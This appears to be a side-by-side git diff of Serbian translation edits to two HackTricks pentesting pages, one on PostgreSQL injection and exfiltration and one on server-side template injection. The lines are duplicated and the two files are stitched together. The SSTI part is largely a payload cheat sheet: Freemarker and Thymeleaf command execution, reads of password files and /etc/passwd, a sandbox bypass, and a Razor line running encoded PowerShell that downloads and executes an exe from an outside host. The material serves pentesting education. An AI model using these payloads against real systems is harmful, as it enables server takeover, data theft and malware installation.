||||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Podelite trikove za hakovanje slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
* **Podelite trikove za hakovanje slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_tečno poznavanje poljskog jezika u pisanju i govoru je obavezno_).
|
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_tečno poznavanje poljskog jezika u pisanju i govoru je obavezno_).
|
||||||
|
|
||||||
|
@ -27,15 +27,15 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
|
||||||
|
|
||||||
## Network Interaction - Privilege Escalation, Port Scanner, NTLM challenge response disclosure & Exfiltration
|
## Network Interaction - Privilege Escalation, Port Scanner, NTLM challenge response disclosure & Exfiltration
|
||||||
|
|
||||||
**PostgreSQL modul `dblink`** nudi mogućnosti za povezivanje sa drugim PostgreSQL instancama i izvršavanje TCP konekcija. Ove funkcije, u kombinaciji sa `COPY FROM` funkcionalnošću, omogućavaju akcije poput eskalacije privilegija, skeniranja portova i hvatanja NTLM izazova. Za detaljne metode o izvršavanju ovih napada proverite kako da [izvršite ove napade](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md).
|
**PostgreSQL modul `dblink`** nudi mogućnosti za povezivanje sa drugim PostgreSQL instancama i izvršavanje TCP konekcija. Ove funkcije, u kombinaciji sa `COPY FROM` funkcionalnošću, omogućavaju radnje poput eskalacije privilegija, skeniranja portova i hvatanja NTLM izazova. Za detaljne metode o izvršavanju ovih napada proverite kako da [izvršite ove napade](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md).
|
||||||
|
|
||||||
### **Primer eksfiltracije koristeći dblink i velike objekte**
|
### **Primer eksfiltracije koristeći dblink i velike objekte**
|
||||||
|
|
||||||
Možete [**pročitati ovaj primer**](dblink-lo\_import-data-exfiltration.md) da vidite CTF primer **kako učitati podatke unutar velikih objekata i zatim eksfiltrirati sadržaj velikih objekata unutar korisničkog imena** funkcije `dblink_connect`.
|
Možete [**pročitati ovaj primer**](dblink-lo_import-data-exfiltration.md) da vidite CTF primer **kako učitati podatke unutar velikih objekata i zatim eksfiltrirati sadržaj velikih objekata unutar korisničkog imena** funkcije `dblink_connect`.
|
||||||
|
|
||||||
## PostgreSQL napadi: Čitanje/pisanje, RCE, privesc
|
## PostgreSQL napadi: Čitanje/pisanje, RCE, privesc
|
||||||
|
|
||||||
Proverite kako da kompromitujete host i eskalirate privilegije iz PostgreSQL u:
|
Proverite kako da kompromitujete host i eskalirate privilegije iz PostgreSQL-a u:
|
||||||
|
|
||||||
{% content-ref url="../../../network-services-pentesting/pentesting-postgresql.md" %}
|
{% content-ref url="../../../network-services-pentesting/pentesting-postgresql.md" %}
|
||||||
[pentesting-postgresql.md](../../../network-services-pentesting/pentesting-postgresql.md)
|
[pentesting-postgresql.md](../../../network-services-pentesting/pentesting-postgresql.md)
|
||||||
|
@ -65,13 +65,13 @@ SELECT query_to_xml('select * from pg_user',true,true,'');
|
||||||
```
|
```
|
||||||
**database\_to\_xml**
|
**database\_to\_xml**
|
||||||
|
|
||||||
Ova funkcija će izbaciti celu bazu podataka u XML formatu u samo 1 redu (budite oprezni ako je baza podataka veoma velika jer možete izazvati DoS ili čak vašeg vlastitog klijenta):
|
Ova funkcija će dumpovati celu bazu podataka u XML formatu u samo 1 redu (budite oprezni ako je baza podataka veoma velika jer možete izazvati DoS ili čak vašeg vlastitog klijenta):
|
||||||
```sql
|
```sql
|
||||||
SELECT database_to_xml(true,true,'');
|
SELECT database_to_xml(true,true,'');
|
||||||
```
|
```
|
||||||
### Strings in Hex
|
### Strings in Hex
|
||||||
|
|
||||||
Ako možete da izvršavate **upite** prosleđujući ih **unutar stringa** (na primer koristeći funkciju **`query_to_xml`**). **Možete koristiti convert\_from da prosledite string kao hex i na taj način zaobiđete filtre:**
|
Ako možete da izvršavate **upite** prosleđujući ih **unutar stringa** (na primer koristeći funkciju **`query_to_xml`**). **Možete koristiti convert\_from da prosledite string kao hex i na taj način zaobiđete filtere:**
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```sql
|
```sql
|
||||||
|
@ -97,7 +97,7 @@ SELECT 'hacktricks';
|
||||||
SELECT $$hacktricks$$;
|
SELECT $$hacktricks$$;
|
||||||
SELECT $TAG$hacktricks$TAG$;
|
SELECT $TAG$hacktricks$TAG$;
|
||||||
```
|
```
|
||||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Ako ste zainteresovani za **karijeru u hakovanju** i da hakujete ono što se ne može hakovati - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
|
Ako ste zainteresovani za **karijeru u hakovanju** i da hakujete ono što se ne može hakovati - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
|
||||||
|
|
||||||
|
|
|
@ -25,7 +25,7 @@ Učite i vežbajte GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt=""
|
||||||
|
|
||||||
## Šta je SSTI (Server-Side Template Injection)
|
## Šta je SSTI (Server-Side Template Injection)
|
||||||
|
|
||||||
Server-side template injection je ranjivost koja se javlja kada napadač može da ubaci zlonamerni kod u šablon koji se izvršava na serveru. Ova ranjivost može se naći u raznim tehnologijama, uključujući Jinja.
|
Server-side template injection je ranjivost koja se javlja kada napadač može da ubaci zlonamerni kod u šablon koji se izvršava na serveru. Ova ranjivost se može naći u raznim tehnologijama, uključujući Jinja.
|
||||||
|
|
||||||
Jinja je popularni engine za šablone koji se koristi u web aplikacijama. Razmotrimo primer koji prikazuje ranjivi deo koda koristeći Jinja:
|
Jinja je popularni engine za šablone koji se koristi u web aplikacijama. Razmotrimo primer koji prikazuje ranjivi deo koda koristeći Jinja:
|
||||||
```python
|
```python
|
||||||
|
@ -39,14 +39,14 @@ http://vulnerable-website.com/?name={{bad-stuff-here}}
|
||||||
```
|
```
|
||||||
The payload `{{bad-stuff-here}}` je ubačen u `name` parametar. Ovaj payload može sadržati Jinja šablonske direktive koje omogućavaju napadaču da izvrši neovlašćen kod ili manipuliše šablonskim motorom, potencijalno stičući kontrolu nad serverom.
|
The payload `{{bad-stuff-here}}` je ubačen u `name` parametar. Ovaj payload može sadržati Jinja šablonske direktive koje omogućavaju napadaču da izvrši neovlašćen kod ili manipuliše šablonskim motorom, potencijalno stičući kontrolu nad serverom.
|
||||||
|
|
||||||
Da bi se sprečile ranjivosti od server-side template injection, programeri treba da osiguraju da je korisnički unos pravilno očišćen i validiran pre nego što bude umetnut u šablone. Implementacija validacije unosa i korišćenje tehnika bega svesti o kontekstu može pomoći u smanjenju rizika od ove ranjivosti.
|
Da bi se sprečile ranjivosti od server-side template injection, programeri treba da osiguraju da je korisnički unos pravilno očišćen i validiran pre nego što bude umetnut u šablone. Implementacija validacije unosa i korišćenje tehnika bega koje su svesne konteksta mogu pomoći u smanjenju rizika od ove ranjivosti.
|
||||||
|
|
||||||
### Detection
|
### Detection
|
||||||
|
|
||||||
Da bi se otkrila Server-Side Template Injection (SSTI), inicijalno, **fuzzing šablona** je jednostavan pristup. Ovo uključuje ubacivanje niza specijalnih karaktera (**`${{<%[%'"}}%\`**) u šablon i analizu razlika u serverovom odgovoru na obične podatke u poređenju sa ovim specijalnim payload-om. Indikatori ranjivosti uključuju:
|
Da bi se otkrila Server-Side Template Injection (SSTI), inicijalno, **fuzzing šablona** je jednostavan pristup. Ovo uključuje ubacivanje niza specijalnih karaktera (**`${{<%[%'"}}%\`**) u šablon i analizu razlika u serverovom odgovoru na obične podatke u odnosu na ovaj specijalni payload. Indikatori ranjivosti uključuju:
|
||||||
|
|
||||||
* Izbačene greške, koje otkrivaju ranjivost i potencijalno šablonski motor.
|
* Izbačene greške, koje otkrivaju ranjivost i potencijalno šablonski motor.
|
||||||
* Odsustvo payload-a u refleksiji, ili delovi nedostaju, što implicira da server obrađuje to drugačije nego obične podatke.
|
* Odsustvo payload-a u refleksiji, ili delovi nedostaju, što implicira da server obrađuje to drugačije od običnih podataka.
|
||||||
* **Plaintext Context**: Razlikovati od XSS-a proverom da li server evaluira šablonske izraze (npr., `{{7*7}}`, `${7*7}`).
|
* **Plaintext Context**: Razlikovati od XSS-a proverom da li server evaluira šablonske izraze (npr., `{{7*7}}`, `${7*7}`).
|
||||||
* **Code Context**: Potvrditi ranjivost menjajući ulazne parametre. Na primer, menjajući `greeting` u `http://vulnerable-website.com/?greeting=data.username` da se vidi da li je serverov izlaz dinamičan ili fiksan, kao u `greeting=data.username}}hello` koji vraća korisničko ime.
|
* **Code Context**: Potvrditi ranjivost menjajući ulazne parametre. Na primer, menjajući `greeting` u `http://vulnerable-website.com/?greeting=data.username` da se vidi da li je serverov izlaz dinamičan ili fiksan, kao u `greeting=data.username}}hello` koji vraća korisničko ime.
|
||||||
|
|
||||||
|
@ -83,7 +83,7 @@ python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment
|
||||||
```
|
```
|
||||||
### [Tabela za Injekciju Šablona](https://github.com/Hackmanit/template-injection-table)
|
### [Tabela za Injekciju Šablona](https://github.com/Hackmanit/template-injection-table)
|
||||||
|
|
||||||
interaktivna tabela koja sadrži najefikasnije poliglotne injekcije šablona zajedno sa očekivanim odgovorima 44 najvažnija engine-a šablona.
|
interaktivna tabela koja sadrži najefikasnije poliglotne injekcije šablona zajedno sa očekivanim odgovorima 44 najvažnija engine-a za šablone.
|
||||||
|
|
||||||
## Eksploati
|
## Eksploati
|
||||||
|
|
||||||
|
@ -131,7 +131,7 @@ ${"freemarker.template.utility.Execute"?new()("id")}
|
||||||
|
|
||||||
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
|
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
|
||||||
```
|
```
|
||||||
**Freemarker - Obilaženje sandbox-a**
|
**Freemarker - Obilaženje sandboks zaštite**
|
||||||
|
|
||||||
⚠️ radi samo na Freemarker verzijama ispod 2.3.30
|
⚠️ radi samo na Freemarker verzijama ispod 2.3.30
|
||||||
```java
|
```java
|
||||||
|
@ -221,9 +221,9 @@ http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
|
||||||
```java
|
```java
|
||||||
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
|
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
|
||||||
```
|
```
|
||||||
**Obilaženje filtera**
|
**Zaobilaženje filtera**
|
||||||
|
|
||||||
Mogu se koristiti višestruki izrazi promenljivih, ako `${...}` ne radi, pokušajte sa `#{...}`, `*{...}`, `@{...}` ili `~{...}`.
|
Mogu se koristiti višestruki izrazi varijabli, ako `${...}` ne radi, pokušajte sa `#{...}`, `*{...}`, `@{...}` ili `~{...}`.
|
||||||
|
|
||||||
* Pročitajte `/etc/passwd`
|
* Pročitajte `/etc/passwd`
|
||||||
```java
|
```java
|
||||||
|
@ -338,7 +338,7 @@ Ispravljeno putem [https://github.com/HubSpot/jinjava/pull/230](https://github.c
|
||||||
* `{{request.getClass()}}` - klasa com.hubspot.content.hubl.context.TemplateContextRequest
|
* `{{request.getClass()}}` - klasa com.hubspot.content.hubl.context.TemplateContextRequest
|
||||||
* `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
|
* `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
|
||||||
|
|
||||||
Pretražujte "com.hubspot.content.hubl.context.TemplateContextRequest" i otkriven je [Jinjava projekat na Githubu](https://github.com/HubSpot/jinjava/).
|
Pretražujte "com.hubspot.content.hubl.context.TemplateContextRequest" i otkrijte [Jinjava projekat na Githubu](https://github.com/HubSpot/jinjava/).
|
||||||
```java
|
```java
|
||||||
{{request.isDebug()}}
|
{{request.isDebug()}}
|
||||||
//output: False
|
//output: False
|
||||||
|
@ -394,8 +394,8 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
|
||||||
Expression Language (EL) je osnovna funkcija koja olakšava interakciju između prezentacionog sloja (kao što su web stranice) i aplikacione logike (kao što su upravljani beani) u JavaEE. Široko se koristi u više JavaEE tehnologija za pojednostavljenje ove komunikacije. Ključne JavaEE tehnologije koje koriste EL uključuju:
|
Expression Language (EL) je osnovna funkcija koja olakšava interakciju između prezentacionog sloja (kao što su web stranice) i aplikacione logike (kao što su upravljani beani) u JavaEE. Široko se koristi u više JavaEE tehnologija za pojednostavljenje ove komunikacije. Ključne JavaEE tehnologije koje koriste EL uključuju:
|
||||||
|
|
||||||
* **JavaServer Faces (JSF)**: Koristi EL za povezivanje komponenti u JSF stranicama sa odgovarajućim podacima i akcijama na backendu.
|
* **JavaServer Faces (JSF)**: Koristi EL za povezivanje komponenti u JSF stranicama sa odgovarajućim podacima i akcijama na backendu.
|
||||||
* **JavaServer Pages (JSP)**: EL se koristi u JSP za pristup i manipulaciju podacima unutar JSP stranica, olakšavajući povezivanje elemenata stranice sa aplikacionim podacima.
|
* **JavaServer Pages (JSP)**: EL se koristi u JSP za pristup i manipulaciju podacima unutar JSP stranica, olakšavajući povezivanje elemenata stranice sa podacima aplikacije.
|
||||||
* **Contexts and Dependency Injection for Java EE (CDI)**: EL se integriše sa CDI kako bi omogućio neometanu interakciju između web sloja i upravljanih beanova, osiguravajući koherentniju strukturu aplikacije.
|
* **Contexts and Dependency Injection for Java EE (CDI)**: EL se integriše sa CDI kako bi omogućio besprekornu interakciju između web sloja i upravljanih beanova, osiguravajući koherentniju strukturu aplikacije.
|
||||||
|
|
||||||
Pogledajte sledeću stranicu da biste saznali više o **iskorišćavanju EL interpretera**:
|
Pogledajte sledeću stranicu da biste saznali više o **iskorišćavanju EL interpretera**:
|
||||||
|
|
||||||
|
@ -508,7 +508,7 @@ array("first_name" => $user.first_name)
|
||||||
|
|
||||||
Plates je engine za templating koji je nativan za PHP, crpeći inspiraciju iz Twiga. Međutim, za razliku od Twiga, koji uvodi novu sintaksu, Plates koristi nativni PHP kod u šablonima, što ga čini intuitivnim za PHP programere.
|
Plates je engine za templating koji je nativan za PHP, crpeći inspiraciju iz Twiga. Međutim, za razliku od Twiga, koji uvodi novu sintaksu, Plates koristi nativni PHP kod u šablonima, što ga čini intuitivnim za PHP programere.
|
||||||
|
|
||||||
Controller:
|
Kontroler:
|
||||||
```php
|
```php
|
||||||
// Create new Plates instance
|
// Create new Plates instance
|
||||||
$templates = new League\Plates\Engine('/path/to/templates');
|
$templates = new League\Plates\Engine('/path/to/templates');
|
||||||
|
@ -523,7 +523,7 @@ echo $templates->render('profile', ['name' => 'Jonathan']);
|
||||||
<h1>User Profile</h1>
|
<h1>User Profile</h1>
|
||||||
<p>Hello, <?=$this->e($name)?></p>
|
<p>Hello, <?=$this->e($name)?></p>
|
||||||
```
|
```
|
||||||
Layout шаблон:
|
Šablon rasporeda:
|
||||||
```html
|
```html
|
||||||
<html>
|
<html>
|
||||||
<head>
|
<head>
|
||||||
|
@ -624,7 +624,7 @@ echo $t->finish($t->parse('OUT', 'authors'));
|
||||||
|
|
||||||
### patTemplate (PHP)
|
### patTemplate (PHP)
|
||||||
|
|
||||||
> [patTemplate](https://github.com/wernerwa/pat-template) PHP templating engine koji se ne kompajlira, a koristi XML tagove za deljenje dokumenta na različite delove
|
> [patTemplate](https://github.com/wernerwa/pat-template) PHP templating engine koji se ne kompajlira, koristi XML tagove za deljenje dokumenta na različite delove
|
||||||
```xml
|
```xml
|
||||||
<patTemplate:tmpl name="page">
|
<patTemplate:tmpl name="page">
|
||||||
This is the main page.
|
This is the main page.
|
||||||
|
@ -684,7 +684,7 @@ URLencoded:
|
||||||
| | Evaluiraj i renderuj izlaz |
|
| | Evaluiraj i renderuj izlaz |
|
||||||
| | Evaluiraj i renderuj HTML kodiran izlaz|
|
| | Evaluiraj i renderuj HTML kodiran izlaz|
|
||||||
| | Komentar |
|
| | Komentar |
|
||||||
| i | Dozvoli kod (podrazumevano onemogućeno)|
|
| i | Dozvoli kod (onemogućeno po defaultu) |
|
||||||
|
|
||||||
* \= 49
|
* \= 49
|
||||||
|
|
||||||
|
@ -731,9 +731,9 @@ home = pugjs.render(injected_page)
|
||||||
|
|
||||||
### Ostali NodeJS
|
### Ostali NodeJS
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image.png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg</a></p></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg</a></p></figcaption></figure>
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg</a></p></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg</a></p></figcaption></figure>
|
||||||
|
|
||||||
* Više informacija na [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
|
* Više informacija na [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
|
||||||
|
|
||||||
|
@ -768,7 +768,7 @@ home = pugjs.render(injected_page)
|
||||||
|
|
||||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby)
|
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby)
|
||||||
|
|
||||||
### Drugi Ruby
|
### Ostali Ruby
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (4).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg</a></p></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (4).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg</a></p></figcaption></figure>
|
||||||
|
|
||||||
|
@ -778,7 +778,7 @@ home = pugjs.render(injected_page)
|
||||||
|
|
||||||
### Python
|
### Python
|
||||||
|
|
||||||
Pogledajte sledeću stranicu da biste naučili trikove o **zaobilaženju izvršavanja proizvoljnih komandi u sandbox-ima** u python-u:
|
Pogledajte sledeću stranicu da biste naučili trikove o **zaobilaženju izvršavanja proizvoljnih komandi u sandboxes** u pythonu:
|
||||||
|
|
||||||
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
|
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
|
||||||
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
|
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
|
||||||
|
@ -907,7 +907,7 @@ ${x}
|
||||||
* `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
|
* `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
|
||||||
* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
|
* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
|
||||||
|
|
||||||
Metoda .NET `System.Diagnostics.Process.Start` može se koristiti za pokretanje bilo kog procesa na serveru i tako kreirati webshell. Možete pronaći primer ranjive web aplikacije na [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)
|
Metoda .NET `System.Diagnostics.Process.Start` može se koristiti za pokretanje bilo kog procesa na serveru i tako kreirati webshell. Primer ranjive web aplikacije možete pronaći na [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)
|
||||||
|
|
||||||
**Više informacija**
|
**Više informacija**
|
||||||
|
|
||||||
|
@ -929,7 +929,7 @@ Metoda .NET `System.Diagnostics.Process.Start` može se koristiti za pokretanje
|
||||||
|
|
||||||
### Mojolicious (Perl)
|
### Mojolicious (Perl)
|
||||||
|
|
||||||
Čak i ako je to perl, koristi oznake poput ERB u Ruby-ju.
|
Čak i ako je to Perl, koristi oznake poput ERB u Ruby-ju.
|
||||||
|
|
||||||
* `<%= 7*7 %> = 49`
|
* `<%= 7*7 %> = 49`
|
||||||
* `<%= foobar %> = Error`
|
* `<%= foobar %> = Error`
|
||||||
|
@ -941,7 +941,7 @@ Metoda .NET `System.Diagnostics.Process.Start` može se koristiti za pokretanje
|
||||||
|
|
||||||
U Go-ovom engine-u za šablone, potvrda njegove upotrebe može se izvršiti sa specifičnim payload-ima:
|
U Go-ovom engine-u za šablone, potvrda njegove upotrebe može se izvršiti sa specifičnim payload-ima:
|
||||||
|
|
||||||
* `{{ . }}`: Otkrije strukturu podataka. Na primer, ako se prosledi objekat sa atributom `Password`, `{{ .Password }}` može ga otkriti.
|
* `{{ . }}`: Otkrije strukturu podataka. Na primer, ako se prosledi objekat sa atributom `Password`, `{{ .Password }}` bi mogao da ga otkrije.
|
||||||
* `{{printf "%s" "ssti" }}`: Očekuje se da prikaže string "ssti".
|
* `{{printf "%s" "ssti" }}`: Očekuje se da prikaže string "ssti".
|
||||||
* `{{html "ssti"}}`, `{{js "ssti"}}`: Ovi payload-i bi trebali da vrate "ssti" bez dodavanja "html" ili "js". Dalje direktive mogu se istražiti u Go dokumentaciji [ovde](https://golang.org/pkg/text/template).
|
* `{{html "ssti"}}`, `{{js "ssti"}}`: Ovi payload-i bi trebali da vrate "ssti" bez dodavanja "html" ili "js". Dalje direktive mogu se istražiti u Go dokumentaciji [ovde](https://golang.org/pkg/text/template).
|
||||||
|
|
||||||
|
@ -949,7 +949,7 @@ U Go-ovom engine-u za šablone, potvrda njegove upotrebe može se izvršiti sa s
|
||||||
|
|
||||||
**XSS Eksploatacija**
|
**XSS Eksploatacija**
|
||||||
|
|
||||||
Sa paketom `text/template`, XSS može biti jednostavan umetanje payload-a direktno. Nasuprot tome, paket `html/template` kodira odgovor kako bi to sprečio (npr., `{{"<script>alert(1)</script>"}}` rezultira `<script>alert(1)</script>`). Ipak, definicija i pozivanje šablona u Go-u mogu zaobići ovo kodiranje: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
|
Sa paketom `text/template`, XSS može biti jednostavan direktnim ubacivanjem payload-a. Nasuprot tome, paket `html/template` kodira odgovor kako bi to sprečio (npr., `{{"<script>alert(1)</script>"}}` rezultira `<script>alert(1)</script>`). Ipak, definicija i pozivanje šablona u Go-u mogu zaobići ovo kodiranje: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
|
||||||
|
|
||||||
vbnet Copy code
|
vbnet Copy code
|
||||||
|
|
||||||
|
@ -957,7 +957,7 @@ vbnet Copy code
|
||||||
|
|
||||||
RCE eksploatacija se značajno razlikuje između `html/template` i `text/template`. Modul `text/template` omogućava direktno pozivanje bilo koje javne funkcije (koristeći vrednost “call”), što nije dozvoljeno u `html/template`. Dokumentacija za ove module je dostupna [ovde za html/template](https://golang.org/pkg/html/template/) i [ovde za text/template](https://golang.org/pkg/text/template/).
|
RCE eksploatacija se značajno razlikuje između `html/template` i `text/template`. Modul `text/template` omogućava direktno pozivanje bilo koje javne funkcije (koristeći vrednost “call”), što nije dozvoljeno u `html/template`. Dokumentacija za ove module je dostupna [ovde za html/template](https://golang.org/pkg/html/template/) i [ovde za text/template](https://golang.org/pkg/text/template/).
|
||||||
|
|
||||||
Za RCE putem SSTI u Go-u, mogu se pozvati metode objekta. Na primer, ako prosleđeni objekat ima metodu `System` koja izvršava komande, može se iskoristiti kao `{{ .System "ls" }}`. Pristup izvoru koda je obično neophodan za eksploataciju ovoga, kao u datom primeru:
|
Za RCE putem SSTI u Go-u, mogu se pozvati metode objekta. Na primer, ako prosleđeni objekat ima metodu `System` koja izvršava komande, može se eksploatisati kao `{{ .System "ls" }}`. Pristup izvoru koda je obično neophodan za eksploataciju ovoga, kao u datom primeru:
|
||||||
```go
|
```go
|
||||||
func (p Person) Secret (test string) string {
|
func (p Person) Secret (test string) string {
|
||||||
out, _ := exec.Command(test).CombinedOutput()
|
out, _ := exec.Command(test).CombinedOutput()
|
||||||
|
@ -991,7 +991,7 @@ Ako mislite da bi moglo biti korisno, pročitajte:
|
||||||
* [https://github.com/epinna/tplmap](https://github.com/epinna/tplmap)
|
* [https://github.com/epinna/tplmap](https://github.com/epinna/tplmap)
|
||||||
* [https://github.com/Hackmanit/template-injection-table](https://github.com/Hackmanit/template-injection-table)
|
* [https://github.com/Hackmanit/template-injection-table](https://github.com/Hackmanit/template-injection-table)
|
||||||
|
|
||||||
## Brute-Force Lista za Detekciju
|
## Lista za Detekciju Brute-Force
|
||||||
|
|
||||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
|
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
|
||||||
|
|
||||||
|
@ -1003,7 +1003,7 @@ Ako mislite da bi moglo biti korisno, pročitajte:
|
||||||
|
|
||||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
